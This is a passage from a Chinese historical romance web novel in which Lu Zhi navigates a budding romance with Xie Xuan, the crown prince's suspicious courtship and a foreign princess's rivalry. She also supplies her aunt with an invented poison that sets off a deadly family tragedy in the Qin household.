她“我”了好几遍也没“我”出句完整的话来,恋爱经验的匮乏在此刻体现得淋漓尽致。
早知道就多看点书或者剧了。
酒楼老板为招揽顾客,叫人在顶楼挎着花篮往下撒花瓣,谢玄和陆枝正巧经过此店,花瓣随风飘开一片,笼住了路上众人,惊呼声四起,女子们驻足伸手去接飘落的花瓣。
撒花瓣的姑娘大抵是注意到了谢玄抱着陆枝,特意朝二人的方向多撒了点,于是在洋洋洒洒间,花瓣落了陆枝和谢玄一身,陆枝见有几片落在了谢玄的发丝上,便抬手为他捻去。
不知何时,谢玄已看向了她,她只一抬眼,就对上了谢玄温柔的双眸。
陆枝的心忽而一颤。
仿若一颗巨石坠落,惊起一地轻羽。
这家酒楼长串灯笼的灯格外地亮,像迷人眼的春光,全部落在了谢玄身上。
陆枝渐渐扬起嘴角:“谢——”
“今日差点忘说了。”谢玄道:“陆枝,生辰快乐。”
陆枝一愣,答道:“谢谢。”
谢玄抱着她继续朝客栈走去。
没有感情经验也没关系吧,她可以完全按照自己的想法走,去经历,去探索,陆枝想。
陆枝:“谢玄。”
谢玄:“嗯。”
陆枝:“我对你很有好感,心里面也很相信你,但我还不能确定这是不是喜欢,我需要一些时间来确认,等我确认好了再给你回应,好吗?”
谢玄没想到陆枝会回答他的心意,他原以为她会忽视,从这番回答中他感受到了认真与尊重,那显得冷冽的眉眼舒展开:“好,不管多久,我都会等。”
于是陆枝“但我不确定要耗费多久,如果你后悔了,记得告诉我”这句话再没说出口。
次日清晨,若娘替陆枝梳妆,听了陆枝的讲述不禁担心道:“小姐,若是二殿下反悔了怎么办?”
“嗯……”陆枝想了想,答道:“若是反悔了就反悔了吧,我也没什么损失啊。”
“不过若娘,”她问道:“昨夜一直没见着你,你与沐武去了哪里?”
若娘想了想一五一十地答道:“昨夜我差点被人群挤走,是沐少侠拉住了我,我们在摊前买了一份芙蓉饼,再看前面已不见小姐和二殿下,沐少侠说知道你们去了哪里,便带着我上山,可恰逢游客登山,山路拥挤,我们耗了些时间才到山腰的心想事成湖,可小姐和二殿下已不在那儿了,于是我们又逆着人群挤下山,回来时便见着小姐和二殿下已经回来了。”
陆枝想了想那个拥挤在人群中上下山的场景,顿时觉得好累,昨夜下山时,朱峰和姜寻夫妇说游客快要登山了,于是带着他们走了一条小路,所以下山的路很是顺畅。
“若娘,”她转过身拍了拍若娘的肩头:“辛苦你了。”
若娘不明所以,呆呆地点了点头:“可小姐,梳妆并不辛苦啊。”
陆枝看到了若娘头上的芙蓉发簪,问道:“昨夜你们吃的芙蓉饼啊?”
若娘点头:“是啊。小姐,可是有什么问题?”
陆枝摇摇头:“没事。”因为若娘戴着这根芙蓉簪子所以买了芙蓉饼?她也不知道她猜的对不对。
门外是熟悉的脚步声,敲门声随后而起,若娘正要开门,陆枝拉住:“若娘,我去吧。”
谢玄想起昨晚的告白有些不自在地别过了眼神:“我来邀你同用朝食。”
陆枝:“嗯,好。若娘,走。”
下楼之际,谢玄拉住陆枝:“若娘,你先下去找沐武。”
若娘看了看两人,欠身道:“是。”
陆枝:“怎么了?”
“昨晚……”谢玄看陆枝眼神清明,神情坦荡,好似完全不记得昨晚之事的模样,他想要确认:“昨晚之事,你可还记得?”
“自然记得。”陆枝答道。
谢玄:“那说过什么,也都记得?”
陆枝冁然一笑:“嗯。我说我需要些时日来确认自己的感情,再来回应你的喜欢。”
也许是陆枝表现得太过直率坦荡,反倒衬得谢玄有些局促,明明心里高兴却要还要克制笑意,掩唇假意咳了咳:“好,下楼吧。”
陆枝走在谢玄身后,看见谢玄竟然走出了同手同脚,而他本人完全没有察觉,她偷偷地噗嗤一笑,想不到看着高冷的谢玄竟然还有这么冒失可爱的一面。
静妃知谢玄有意于陆枝,因而有意无意地在皇上面前提及两人般配登对。
皇上明了静妃的心思,她是想要照顾故人之女,但却因心有权衡未曾答应也未曾拒绝。
只因前些时日,太子也曾提过陆枝,似是有意。
太子实力渐厚,若再得相辅之助,假以时日,难保不会起逼宫的心思,而陆枝有助一州富庶之才,若是许给谢玄,他日太子登基,谢玄若起心思,有陆枝助力,江山难保不会动荡。
他虽不喜皇后,但在众多皇子中,他还是最看中太子的。
有野心,有才能,同他年轻时候一样。
皇上撒了把鱼食丢进湖里,拍了拍手,看着争相抢食的鱼儿暗自叹道:“想不到一个幼时被带离相府长于穷州的嫡女,竟成了他两个儿子之间的牵制。”
谢瓒替陆文德寻到了名医,拔毒过程艰辛,可谓是扒皮抽骨。
一月之后,陆文德体内的毒已全数清楚干净,整个人身体虽然疼痛却已觉气顺。
陆文德对谢瓒感恩戴德:“感谢太子殿下救命之恩。”
谢瓒在皇上那边没有得到准信,也知道静妃常往皇上那边跑,于是从陆文德这边开始了自己的盘算:“举手之劳罢了,陆相言重。”
陆文德:“殿下救我性命,此番大恩大德,必当报之。”
谢瓒问陆文德怎么中的毒,陆文德言辞闪烁,他也不在乎,道:“陆相真要报
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答?”
陆文德:“自是千真万确,不敢欺骗殿下。”
谢瓒笑笑:“那好。我对陆相的嫡女千金观感甚好,不知陆相可愿将令爱许配给我?哦,陆相放心,堂堂嫡女,入我这东宫,自然是这东宫的女主人,断不是为妾。”
想起当日陆枝棒打自己的凶悍样,陆文德一时间没敢爽快地答应下来:“这……”
谢瓒:“哦?陆相有何为难之处?”
陆文德不敢违逆太子,他背后能顶大用的两大家族已经没了,好不容易太子再次向他抛出了橄榄枝,这次是万万不能错失了机会,朝中对他这个位置虎视眈眈者众多。
可陆枝不似陆绫那般好任由他拿捏,若是逼急了陆枝,他怕是又要丢掉半条命,
于是他装出情真意切的模样扯了个慌:“殿下有所不知,枝儿生母已逝世,故而枝儿带着信物回了陆府,其中便有前妻遗言,她说她别无所求,只求枝儿的婚姻由枝儿自己做主,这逝者已矣,我实在不能违了逝者遗愿,还望殿下恕罪。”
谢瓒扶起陆文德,面容和善:“既是亡妻嘱托,陆相自当遵从,何罪之有?只是日后我免不了要上相府叨扰,多见见陆小姐,也好让她知晓我的心意。”
陆文德连连答道:“这是自然,殿下若来,我自当盛情款待,唤枝儿作陪。”
谢瓒佯装温和地送走陆文德,浅淡的笑意自嘴角消失。
好个老奸巨猾的老东西,居然还敢跟他耍心眼。
他看向他寻来的那位名医。
名医作揖躬身道:“殿下,旧毒已全然拔除,新毒已种下。”
谢瓒:“做得好。流光,带下去领赏。”
陆文德,给你机会却不中用,那便去死吧。
这位名医自入东宫后再没出去过。
陆文德没再让颜元香来拿解药了,陆枝猜到他找到了替他解毒的人。
除了武功,她还学习医术,但她自然不敢妄称医术天下无双,世间之大,有大能者层出不穷,所以有人能解她下的毒很正常。
只是当下没了性命的掣肘,陆文德也没来找她麻烦,这让她觉得很奇怪。
就陆文德那小肚鸡肠,能忍得下这口气?
还是说,真的被她打怕了?
直到几日后,太子登门,陆文德命人来请她一同入席吃饭,陆枝终于明白了缘由。
这个死老登,拿她和太子做了交易!
是太子替他解的毒。
那太子提了什么?和相府联姻?
她大闹秦府搞断了秦府对陆文德的支持,陆文德现在处境艰难,怕是不久后就要被人挤下台,谢瓒何必扶一个已经不顶大用的相辅,完全可以重新培养一个。
如果单纯是冲她来的?为什么?她在京城无权无势,能帮到谢瓒什么?
她不相信谢瓒是看上她了,她和谢瓒总共就见过两次面,一次他不知道发什么神经大冬天的邀请她去爬山,一次是在秦府,她替他解了个围,但两次下来讲礼归讲礼,她并没有表现得多殷勤。
可是如果没有想要的,谢瓒为什么要大费周章地替陆文德解毒?
今日陆文德又特地喊她作陪,那他是想从她这里得到什么了?
谢瓒正谈笑风生地接下陆文德献上的殷勤,陆枝看向他,只觉得这个人心机深沉。
很讨人厌。
12. 公主
陆枝绞尽脑汁地去猜谢瓒到底在盘算着什么?难不成他想要她在怙州的产业?
思来想去,她觉得这个猜测最为合理,而后也在心里给了答案:休想。
那是她倾注了时间和心力打造出来的,凭什么他想要她就得给。
谢瓒体贴地给陆枝夹菜,由于先入为主的猜想,陆枝对谢瓒的印象差到了极点,反应很是冷淡。
陆文德眼睛瞪得快凸出来了,却又不敢发作。
谢瓒:“这菜做的可是不合陆小姐口味?”
陆枝扫了一眼面前的两人,淡淡道:“是挺倒胃口的。”
饭后,谢瓒邀请陆枝去散步,陆枝拒绝:“我不喜动,殿下请回吧。”
谢瓒似乎很有耐心:“哦?陆小姐不喜动,怎还愿意和二弟奔波去暮市?”
陆枝:“……殿下消息真是灵通。”还派人盯着她了?
谢瓒不理会陆枝言语中的嘲讽:“陆小姐愿意同二弟出行却拒绝了我,可是在与我二弟谋些什么怕我知晓?”
陆枝眼角抽搐,好能说的人,居然乱泼脏水。
她这会儿要是不去,就坐实了她和谢玄在谋些什么见不得人之事的污名。
陆枝皮笑肉不笑:“我与二皇子去暮市只是过了个生辰罢了,殿下若是想逛,陆枝陪同便是。”
谢瓒:“说起生辰,我送陆小姐的生辰礼物可收到了?”
陆枝:“收到了,多谢殿下。”被若娘收进橱柜里了,她没打开过,不知道是个什么。
基于谢瓒害她生病的坏印象,一听到是谢瓒送来的,她连打开的欲望都没有了。
谢瓒:“既收到了,为何不戴?那簪子应十分衬你。”
陆枝随口敷衍道:“殿下送的,自是要好好珍藏。”
谢瓒忽得停下来走到陆枝面前,陆枝心不在焉险些撞上他的胸膛,她赶紧往后退了两步:“冲撞殿下了,望殿下恕罪。”
也许是感受到了陆枝的漫不经心,谢瓒隐隐约约有些不快:“可陆小姐,我送你的并不是簪子。”
“……”陆枝终于知道了何为“脚趾抠出了三室一厅”,她感觉抠个城堡也不在话下。
看陆枝的表情终于变得生动,谢瓒得逞地笑笑:“我送的便是簪子,不过陆小姐看也不看便收起来,真是叫人伤心。”
陆枝生硬地答道:“……我回去便看看。”
身旁经过一辆那车,谢瓒抬手替她挡了一挡,继续前行:“我可是做了什么让陆小姐不快之事?”
陆枝口是心非道:“不曾。”
“哦?”谢瓒挑眉:“那便是我的错觉了?陆小姐对我总是疏离。”
陆枝不敢再随便答谢瓒的话,索性闭嘴听他说。
谢瓒:“你看,就比如此刻,连答也不愿答我。”
陆枝:“……”好好好,答和不答都是错。
“殿下多虑了。”
谢瓒不知怎地,突然兀自解释道:“去年冬时邀你看雪是我考虑欠妥,听闻你次日生了病,我被事缠身,便让流光给相府送了药。”
陆枝:“?”怎么好好的突然说这事了?
谢瓒继续说道:“当日之事确是我考虑不周害陆小姐生病,我在此给陆小姐道歉。”
说完,他真的行礼道歉。
陆枝敛了敛神色,郑重道:“殿下今日道歉令陆枝动容。殿下请起,此事已过去了。”
这事虽然不是什么大事,但也让她对谢瓒的印象不好,如今知晓人家做了补救措施还道了歉,那这事就算彻底揭过去了,她对谢瓒的看法里去掉了“害她生病”这一项,也算是有了点改观。
谢瓒:“我今日来相府也是为了陆小姐而来。”
陆枝:“为了我?”
谢瓒:“当初陆小姐名动京城,我便想见上一见,只那一见,我便对陆小姐倾心。”
陆枝:“?!”嗯?还真是因为看上她了?
她张了张嘴不知道该说什么:“殿下,这……”这么突然的吗?
脑子突然宕机了,她需要点时间恢复。
谢瓒:“陆小姐不必为难,今日我只是告知陆小姐我的心意,并未要求陆小姐有所回应。”
陆枝松了口气。
谢瓒看她也没心思继续走了,便道:“今日已走得差不多,我送陆小姐回府吧。”
陆枝在房里思来想去,还是很难相信谢瓒的说辞。
一见钟情,好歹有个惊艳的瞬间吧,她和谢瓒之间并没有啊。
冻得吸溜鼻子能算吗?
而且,他和陆文德做交易是为了追求她吗?是要靠父母之命媒妁之言来达成吗?
如果换做之前,她初回相府需要隐忍,还真可能成功,可现在她已经和陆文德撕破脸皮了。
就算陆文德的毒已解,他应该也不会主动来招惹她吧,就不怕再被下毒?
拔毒的过程可是不好受的呀。
或许谢瓒的心意是纯粹的,只是用错了方法,但对结果的影响都不大。
她不喜欢谢瓒。
看来以后得离谢瓒远一点,别做什么事让对方误会有机会什么的。
陆枝:“若娘,太子送来的东西你放哪了,拿来给我。”
若娘:“是,小姐。”
陆枝打开一看,还真是一支做工精致的簪子,她犯难地看着这支簪子,良久,“啪”地合上盒子。
日后找个机会说清楚,把东西退回去吧。
临近中秋,已有一批使者先来朝贡,其中便有凰国,一方小国,靠依附大栾而得庇佑。
近来京城有关朝贡的话题热度高涨,其中讨论度最高的便是凰国来的公主,说是这位公主在皇上举办的宴席上当众对太子表白。
若娘将从外面听来的跟陆枝说得绘声绘色:“小姐,你说啊,这他国的公主啊就是大胆,竟当着天子和众使臣的面表白咱们的太子殿下,勇气可嘉啊。”
陆枝摸着下巴赞同道:“的确勇敢。”
既是公主,和太子的身份更为相配,而是也是小国,即使嫁入大栾,也不会掀起什么太大的风浪,若是皇上满意这位公主,后续就该赐婚了。
那她也就不用和谢瓒再有什么牵扯啦。
陆枝心中畅快,拿起瓜子磕起来:“然后呢?皇上可赐婚了?”
若娘摇头:“那倒没有。听说太子殿下当众拒绝了。”
陆枝提出疑问:“为何?是公主不貌美?”
若娘:“应不是,听闻公主进城那日,不少人见着了,容貌倾城昳丽,是个大美人。”
陆枝低声嘀咕:“那是为何?一国公主,定然不会是无才之辈,有才有颜的,为何要拒绝啊?”
若娘听见了陆枝的嘀咕,答道:“太子殿下拒绝之言是有了心仪的女子。”
陆枝一整颗瓜子卡在了喉咙里,顿时眼睛瞪得老大,咳嗽起来。
若娘赶紧给她倒水拍背:“小姐,
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小姐,怎么了这是,好好地怎咳起来了,来,快喝水。”
陆枝一口气把水喝光,赶忙问道:“太子可还说了别的什么?”
若娘不解:“小姐,太子殿下还应说什么?”
陆枝抿了抿唇,试探着问道:“比如,他有没有说心仪于谁?”
若娘:“这倒不曾听说过。”
陆枝拍着胸脯松了口气,还好还好,谢瓒这要是当众说出来,她可要遭大麻烦了。
她继续问后续:“再后来呢?公主和皇上都是什么反应?”
若娘清了清嗓,扮了个样子说道:“无妨,初次见面,太子殿下不了解我,拒绝实属正常,我是不会放弃的。听闻公主是这么回答的。”
“皇上见公主率真可爱,龙颜大悦,留公主在大栾国多待些时日,让太子殿下多多照应公主。”
看来皇上这是有意撮合了。
陆枝这一顿八卦听下来,情绪可谓是跟着跌宕起伏,忍不住怀疑道:“吃个瓜不是件快乐的事吗?怎么这么累?”
中秋当夜,陆枝拿了一壶酒飞上屋顶赏月独酌,想试一回风雅。
她半靠在屋脊上撑着脑袋,姿态闲散随意,一壶酒放在手边,时不时地拿起饮上一口。
院中种着几株海棠,是陆枝娘亲种下的,她回来时已经颓败将死,她悉心养护了一年,终于将它们养回来了。
如今已经过了海棠开花的季节,银月在褐色的树枝上洒上一层淡淡的柔光。
中秋夜,明月当头,家家户户团圆,整个京城灯火通明,繁华如梦,壮哉美哉,隐隐约约地还能听见各家各户传来的谈笑声。
陆枝闻着身边弥漫出来的桂花酒香,无奈苦笑,古人中秋望月思人,多是愁绪横生,如今她兴起试了一回,果真也不例外。
她酒量不好,先醉后醒,这会儿正是醉的时候,头晕晕的,索性趴在了屋脊上。
阖家欢乐的笑声仍不断从空中传入耳中,她喃喃道:“要是爹娘还在就好了。”
熟悉的踏瓦声传来,陆枝动了动耳朵,声音由远及近,她缓缓睁开眼睛,谢玄出现在了眼前。
陆枝眨了眨眼睛:“幻觉吧。他此刻应该宫中宴乐,怎会出现在这里。”
谢玄拨开挡在她眼前的碎发,嗓音温沉道:“不是幻觉。”
陆枝顿时清醒:“谢玄,你怎么会来!”
谢玄晃了晃手中的酒:“想来找你同饮的,不曾想你竟一人独醉了。”
陆枝笑笑:“想学学风雅,却发现这风雅实在苦涩。”
谢玄扶起陆枝:“今日既已醉了,便不再喝了,早些休息。”
陆枝拿过谢玄手中的酒:“你特地来找我,怎好叫你跑空,我虽酒量不行,但一杯还是能再继续的,二殿下,可否共饮啊?”
谢玄坐到陆枝身边:“好,我陪你。”
陆枝晕晕乎乎,抱着酒壶指着底下的海棠说道:“这是娘亲种的,如今算是养活了,只是过了开花的时节,若是此刻海棠花正开,想来今夜花月同酒应是别有一番风味,可惜了。”
谢玄:“不可惜,万物有时,但人常在,待它来年开了,我再来同你喝。”
陆枝心暖,打了个嗝:“那可好极,你可……别忘……了。”
她说着说着头往一边栽去,谢玄迅速接住,把她靠在了自己肩上。
谢玄看着底下几株海棠心道:“不止来年,我会一直陪在你身边,年年岁岁。”
13. 秦家
天上明月变成了医院走廊上的灯光,一闪一闪,仿佛随时就要熄灭。
陆枝站在走廊的中心,一时间没明白自己为什么在这里,灯光闪烁的频率越来越快,密密麻麻的黑雾如返潮的水汽般从墙壁上冒出来聚成一团。
黑雾朝着陆枝袭来,她想也不想地往前逃命,跑着跑着不知怎么地就跑出了医院走廊,跑到了悬崖边,场景变幻得太过突然,她从悬崖上掉了下去。
而后,她整个人抖了一激灵,从噩梦中醒来。
陆枝眨巴着眼睛,渐渐意识到自己正躺在自己的床上。
谢玄温柔的声音落入耳中:“做噩梦了?”
陆枝回忆起屋顶上赏月的情景,反应过来当时并非在做梦,坐起来惊喜道:“谢玄,你还在!”
谢玄:“嗯,明日无事,想着多陪陪你。”
陆枝:“那你今夜可要留宿于此?”
她已经考虑给谢玄打个地铺。
谢玄的神色明显一征,他快速地眨了眨眼:“这不合礼法,待你睡着后我便走。”
陆枝重新躺下,调侃道:“殿下的礼法应是随机应变的。”明明此刻在她房内也是不合礼法的。
谢玄听明白了言外之意,正儿八经道:“我定然不会做任何僭越之举。”
陆枝轻笑:“嗯,我相信。”
“谢玄。”
谢玄:“嗯?”
陆枝伸出一只手:“把手给我。”
谢玄乖乖照做,陆枝将手搭在他的掌心上蜷缩起手指,牵住他的手:“就这么陪我一会儿吧。”
咚咚——
谢玄的心跳变快了,为践行自己说过的“不会做任何僭越之举”,他的面上还是保持着冷静,避免陆枝误会:“好。”
陆枝眨着眼睛,觉得困,索性就闭上了,她的声音很轻:“谢玄,我发现我越来越期待见到你了。”
今夜她就想过谢玄会不会来,结果他真的来了。
她很开心。
谢玄面上的冷静终于松动,随后如同冰层崩裂,露出底下汹涌的海水来,喜悦几乎要将他吞没,他满脑子都是“她想见到我”。
陆枝次日醒来,谢玄已经不在,她动了动右手的手指短暂地回味了会儿,才心情愉悦地起了床。
入秋以后阳光已经不似夏日那么猛烈,陆枝看着明媚的日头,微风不燥,心血来潮地想要晒些什么,于是她鼓动起院中众人把书和被子都搬出来晒。
她翻了翻泛旧的书页,问道:“若娘,孟童的腿也好得差不多了,是不是该让他去上学了?”
若娘:“是到了该上学的年纪,只是……”只是光是给弟弟治腿就已经用了陆枝不少钱,她实在不好意思再向陆枝开口。
陆枝明白若娘的难处,既然有心送弟弟上学,那钱都不是问题:“将孟童接来院里住吧,反正我这还有几间空房,空着也是空着,倒不如将他接来,你也好照应。正好,孟童还可以跟陆博一起去上学。”
若娘:“不行的小姐,我们已经麻烦小姐良多,怎好再得寸进尺要得更多。”
陆枝拧眉:“你麻烦我什么了?你平时照顾我的饮食起居可是觉得麻烦了?”
若娘:“照顾小姐是若娘的本分,怎会觉得麻烦。”
陆枝:“这不就对了,若娘,你看,我想让孟童读书是我的心意,怎么能说成是麻烦呢?”
“小博,来。”她拉过陆博:“府里会来一个弟弟,是若娘的亲弟弟,年纪比你小,名叫孟童,等他来了府里,你可以带着他一同去上学,做一个称职的哥哥照顾好他吗?”
陆博是府中最小的孩子,只有兄长没有弟弟,如今听到会来一个比他还小的孩子,意识到自己要成为一个哥哥了,忽得感受到了责任,眼神坚定:“长姐放心,我一定会照顾好他的。”
陆枝摸了摸他的脸颊:“好小博,长姐相信你。”
若娘感动:“若娘谢谢小姐,谢谢小公子。”
门外忽得响起敲门声,若娘去开门。
陆洪和陆丰一起走了进来,朝着陆枝和方秋菱行了个礼:“洪儿/丰儿见过长姐,见过七姨娘。”
方秋菱虽没名分,陆枝却承认了,让陆洪陆丰将她当作长辈看待。
方秋菱仍是不太习惯,受宠若惊地扶陆洪陆丰:“两位小少爷快快请起。”
陆洪陆丰没起:“七姨娘是长辈,不该唤我们为少爷,直呼我们名讳或者叫洪儿丰儿皆可。”
方秋菱抿了抿唇,好一会儿才声音弱弱地道:“洪儿丰儿快请起。”
陆枝甚是满意,看来这两个孩子的娘有把她的话好好听进去,在教孩子好好做人。
“你们两个怎么来了?可是嘴馋了?今日想吃喝什么?”
这两个小孩除了偶尔来问功课,简直就把她当成会移动的零食站了。
陆洪:“今日我们可是来给长姐跑腿的。”
陆枝疑惑:“跑腿?”
“嗯嗯。”陆洪邀功似的跑上前:“方才回来时在门前碰着两位送信的人,都说是给长姐的信,我和陆丰便拿了,特地给长姐送来。”
信?
还是不同的人送来的两封。
有点意思,她最近又是遭谁惦记上了?
陆枝接过信,也不着急拆开看:“洪儿和丰儿特地给我跑了个腿,说吧,今日想吃什么,长姐全都包了。小博有何想吃的,也一起买了。”
三个孩子激动地大喊道:“桂花酪,酥山,碧云羹。”
陆枝哭笑不得,这几个还真是一点都不给她省,尽挑最贵的点。
“好好好,都有。若娘,你去买吧,顺道将孟童接来。”
考虑到若娘可能一个人忙不过来,她道:“算了,我同你一道——”
方秋菱站了起来:“枝儿,我同若娘一道去吧,这几个孩子黏你,你来看顾他们。”
陆枝想了想同意了:“行,那劳烦方姨了。”
孟童是个腼腆的孩子,但有着陆博的照顾,很快便放开了,四个孩子一旦玩开,就全然不顾什么仪容仪态了,那喊闹声差点把房顶都掀了。
小孩子仿佛有释放不完的精力,跑来跑去不知道累为何物,还非要拉着她一起。
待送走陆洪陆丰,陆枝满身疲惫地回到房间,才得闲拆开信来看。
一封简洁明了,写着郊外树林见,没有落款。
一封约她三日后在花间见面,落款是凰国公主韩锦。
陆
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枝看完第二封就觉得头大,这个公主应该是打听到了什么才来找上她的。
算了,兵来将挡水来土掩,她如实说明她不喜欢太子并祝福公主和太子能成就好了。
她将目光移向第一封信。
这是一道保险,为避免信有人看过,写的虽是郊外树林见,其实真正的见面地点是东巷王家,时间便是明日黄昏后。
陆枝笑了笑,看来她这二姨等不及了呀。
秦念钰亲自来接陆枝回秦府那日,她做了个这辈子最大的赌注,她搬出和秦念慈的幼时情谊,请陆枝帮她一把。
为了日后活路,她不得不赌。
陆枝同意了。
秦念慈在怙州时,想念得最深的便是这个亲妹妹了,幼时姐妹情深,而后她嫁了人,又被赶出府,妹妹虽有心帮却被家人拦下。
秦念慈没怪过秦家任何人,所以陆枝不恨秦家人,但也不会喜欢。
一进秦家门,她就知道这家人不喜欢她,她也懒得凑上去。
秦念钰要势,她就把那三成给她。
反正她也没要打算收下这笔钱,但这钱对秦念钰有用,就给她咯。
谁知秦家老太婆强势太过,居然想把她打伤扫地出府,于是她就动了点手脚。
那日向秦老太太掷出的棍上抹了点药粉,药粉随着劲风散在空气中,秦老太太多少都会吸入一点。
这药粉是很慢性的引子,平常不会显现出什么症状,但是若配以明乌服下,便可瞬间至人狂躁,八旬老太也能瞬间爆发出惊人力量,只是发作过后,人便会立刻枯竭而亡。
陆枝把这事告诉了秦念钰,却没有把明乌给她。
她才不想她刚一离开秦府,秦老太就没了,那岂不是自己上赶着把嫌疑往自己身上揽?
秦府没落,全是因为这一代不争气,那秦建是个混主,考取功名智力不行,经营产业能力不行,偏偏又是个男儿,家主之位将来便是他的,哪怕他肆意挥霍,秦家的家底也足够他挥霍一辈子了。
但秦念钰就不会这么幸运了。
秦建一旦继任家主,哪还容得下别人同他一起享有家产,秦念钰原本的三成怕是都会保不住。
更何况是她给的那三成呢?
秦念钰自从知晓了这事以后,心里便慢慢有了打算,她利用陆枝给的三成和自己的三成盘了不少店铺经营起来。
陆枝将这事告诉秦念钰的理由很简单,她在秦念钰的眼睛里看到了恨,同她一样。
那时她觉得她们同病相怜,所以她说了。
她也说了,若是秦念钰决定动手,要过很长一段的时间后再来找她,写信就成,信上写郊外树林见,实际地点和时间是秦念钰定的,她没意见。
现在,是时候了。
陆枝看完就把信烧了。
次日,陆枝翻墙除了陆府,没走正门。
她身着斗篷走进了东巷王家,这户人家已无人居住,只是一座空房子,周围也没什么人往来,很适合秘密谋划些什么。
陆枝推门而入,院中早已背对着站着一个人,同她一样,穿着斗篷裹住了全身。
此人听闻声音转过身来,拿下斗篷帽。
果不其然,是秦念钰。
14. 家主
陆枝似笑非笑地看着秦念钰,喊了声“二姨”。
秦念钰:“我去寻过多家药铺打听过,都说没有明乌这一味药,想来这味药是枝儿独创的了。”
陆枝“嗯”了一声:“不错。看来二姨已经等不及了。”
秦念钰忽然脸色一变,恨意爆发:“你可知昨日娘亲找我说了什么?”
陆枝没接话,安静地听她说。
秦念钰咬牙道:“她说秦建无才无能,将来日子怕是不会好过,她让我将我所得家产都给秦建,自己留一成便可。”
“哈哈哈,只留一成,那父亲的遗嘱岂不成了笑话!”她看起来有些癫狂:“秦建无能,我掌秦家产业,不说有功也是无过,到最后只能得一成,真是天大的笑话!而那秦建,什么都不做,就可以得到九成的家产!好不公平!娘亲自小什么都偏向秦建,就因为他是男儿!可我生来便是女儿身,我有什么错!”
陆枝能够理解秦念钰的委屈。
重男轻女,在现代社会都还是常见的,更何况是在封建王权统治下的古代社会。
无论前世今生,她都很有幸没有碰到过,前世是没机会,这一世,有幸碰到秦念慈和霍无尊,成为他们的孩子,他们给足了她爱。
秦念钰近乎嘶吼,偏又压低着声音,像愤怒的野兽:“我不甘心啊!枝儿,我还有一双儿女,将来他们要怎么过!你知道秦建干了什么吗,他要把我的女儿苒苒许配给杜家那个泼皮无赖!我要杀了他!”
她跪下来抓住陆枝的手臂祈求:“枝儿,求求你,把明乌给二姨吧,若事后败露,我定然一人承下所有罪责,枝儿,苒苒也是你的妹妹,你救救她。”
陆枝蹲下来,看着秦念钰,摊开掌心:“二姨,您说错了一件事,明乌是你自己寻得的,不是我给你的。”
她看着秦念钰,眼神里没有什么情绪,把掌心的小包放进秦念钰的手里,话说得很缓慢:“我和二姨自秦府以后再没见过。想来二姨应将苒苒妹妹教得很好,不会似陆绫那般。”
这句话里威胁意味十足,她可以帮秦念钰一把,但秦念钰要是敢给她找来麻烦,她可是不会顾着亲情放过她的女儿李苒。
正所谓死也要拉上个垫背的,但愿秦念钰能想得明白。
秦念钰不是傻子,听明白了陆枝的意思,甚至明白了陆绫的死不简单,她有些痴然地看着陆枝,某一瞬间竟觉得陆枝比秦家还要可怕。
陆枝扶起二姨:“后续的事想来二姨会有安排,我便不给二姨出主意了。”
“二姨,”陆枝叫住将要离开的秦念钰,转过身晃了晃手中的小细瓶,露出一个无邪的笑容:“事成之后记得来找我拿解药。”
她补充道:“是你自己的。”
同情归同情,可对于秦家人,她不会全信。
陆枝给她下毒了?什么时候?不,什么时候都有可能……毕竟是她先碰陆枝的。
秦念钰脊背一凉,感觉自己在向魔鬼求助。
两日后,陆枝上花间赴约。
花间是京城有名的茶楼,楼内有小桥流水,环境清幽,风雅秀尽,是权贵们吃请谈事撑门面的地方。
此地消费甚高,陆枝从没来过,这次算是沾了凰国公主的光了。
陆枝到的时候韩锦还没来,她等了小半个时辰韩锦也还没出现,陆枝明白,韩锦这是在给她下马威。
她倒无所谓。
茶楼里安排了歌舞,茶也不错,账也不用她结,于是她安心地欣赏起楼下的美女姐姐翩翩起舞。
要不说达官权贵们爱来呢,光这歌舞和美女姐姐就十分养眼。
她甚至有一瞬间想做个败家子,天天来这。
“要戒奢啊陆枝。”她喃喃自警。
虽说如此,但完全不妨碍她心安理得地欣赏楼下美轮美奂的场景。
“陆小姐以为今日的歌舞如何?”声音自身后响起。
陆枝也没回头:“自然美极妙极。”
韩锦端坐在陆枝对面:“陆小姐出身名门,这些舞女应是跳得不如陆小姐好。”
陆枝抬眸打量韩锦,生得端庄明艳,像一朵热烈的玫瑰。
她在怙州专注于学武功,舞蹈倒是不精通,于是实话实说道:“我不会跳舞。”
韩锦故作诧异道:“在宫中时,大栾公主特献舞一曲迎接众使臣,我还以为大栾的贵女文才皆备,但不曾想过还有陆小姐这般不会跳舞的。”
装什么装!来找她之前会不先查一查她的底?不过这韩锦不动手,只动动嘴皮子,不痛不痒的,陆枝也就没打算计较了:“公主说得对。”
韩锦:“……”好像跟预想的不太一样。
“不过不会跳舞也不是什么大事,太子殿下倾心于陆小姐,想来陆小姐定然是有特别之处的。”
来了来了,要进入正题了。
陆枝:“陆枝只是个普通女子,担不起太子殿下和公主高看,也从没做过要飞上枝头变凤凰的大梦,公主身份尊贵,与太子殿下才是最为相配。”
韩锦本想来狠狠警告,重拳出击,没想到拳头都落在了棉花上。
但见陆枝目光坦然,只觉心中郁郁难平,她喝了口茶,道:“那便多谢陆小姐良言,我还有事便先走了,今日账记我名下,陆小姐随意。”
陆枝起身行礼:“恭送公主。”
等韩锦走后,她又再度坐下,唤来堂倌报茶楼特色点心,她兴致盎然地听着,心想道:“听上去都挺好吃的,难得碰上冤大头,要不都给打包一份好了,那几个孩子肯定喜欢。”
“小二,方才你说的那些全都给我包上。”
她让韩锦逞了口舌之快,韩锦总要付点报酬吧。
次日,韩锦丫鬟月兰收到了花间送来的账单,眼珠子差点掉下来。
两千两!竟还连喝带拿!
月兰:“公主,公主,您看看这陆家小姐,竟在花间花费了这么多!这不是可着我们欺负嘛。”
韩锦看了账单后一时头疼难忍,转而又想通了:“这陆枝既是这般爱贪便宜之人,想来应是太子殿下一时看走了眼。哼,就这样的女子,凭何跟我争。月兰,去将账结了吧,我们不可落人口实。”
月兰:“是,公主。”
陆枝将带回来的点心分了好几份,各个院子都送了点,陆文德也有。
她让若娘去送的时候说道:“若娘,若是有哪个院子不愿意收也不勉强,就带回来,别浪费了。”
结果倒是送出去没一份再拿回来。
树上的叶越来越黄,风一过,就簌簌地往下落,风里有了凉意,陆枝打算给大家做些寒衣。
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秦家出事了。
消息很快传入陆府:秦老太太突然发狂杀死了自己的儿子秦建,连女儿秦念钰也身受重伤目前正在昏迷中,秦老太发疯过后便暴毙而亡。
